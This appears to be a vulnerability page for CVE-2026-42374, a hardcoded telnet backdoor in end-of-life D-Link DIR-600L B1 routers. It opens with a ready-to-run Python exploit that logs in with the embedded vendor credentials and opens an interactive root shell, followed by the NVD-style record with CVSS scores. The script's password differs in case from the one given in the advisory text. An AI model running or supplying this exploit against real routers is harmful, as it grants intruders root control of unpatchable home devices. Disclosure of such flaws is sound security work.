CVE-2026-42374

import telnetlib import sys # PoC for CVE-2026-42374: Hardcoded Telnet Backdoor # Target: D-Link DIR-600L Hardware Revision B1 def exploit(ip): # Hardcoded credentials extracted from firmware user = "Alphanetworks" password = "wrgn61_dlwbr_dir600l" port = 23 print(f"[+] Attempting to connect to {ip}:{port}...") try: # Establish telnet connection tn = telnetlib.Telnet(ip, port, timeout=10) # Wait for login prompt tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") # Wait for password prompt tn.read_until(b"Password: ") tn.write(password.encode('ascii') + b"\n") # Check if we got a shell response = tn.read_until(b"#", timeout=5) if b"#" in response: print("[+] Success! Root shell obtained.") print("[+] You can now execute commands as root.") tn.interact() else: print("[-] Failed to obtain shell. Credentials might be wrong or service patched.") tn.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target_ip = "192.168.0.1" # Replace with actual target IP exploit(target_ip)

{"cve": {"id": "CVE-2026-42374", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-04T17:16:25.703", "lastModified": "2026-05-06T12:18:13.507", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "D-Link DIR-600L Hardware Revision B1 (End-of-Life) contains a hardcoded telnet backdoor. The device starts a telnet daemon at boot via /bin/telnetd.sh with the username \"Alphanetworks\" and the static password \"wrgn61_dlwbr_dir600L\" read from /etc/alpha_config/image_sign. The custom telnetd binary accepts a -u user:password flag, and the custom login binary uses strcmp() to validate credentials. Successful authentication grants an unauthenticated attacker on the local network a root shell with full administrative control.  The device has reached End-of-Life (EOL) and will not receive patches."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "585AD6F9-C845-430D-B77B-7463872EAD98"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:b1:*:*:*:*:*:*:*", "matchCriteriaId": "6966FB89-8C98-4FA3-B4CA-21CAD495A830"}]}]}], "references": [{"url": "https://www.securin.io/zero-day/cve-2026-42374-hardcoded-telnet-backdoor-in-d-link-dir-600l-b1-end-of-life-", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.securin.io/zero-day/cve-2026-42374-hardcoded-telnet-backdoor-in-d-link-dir-600l-b1-end-of-life-", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}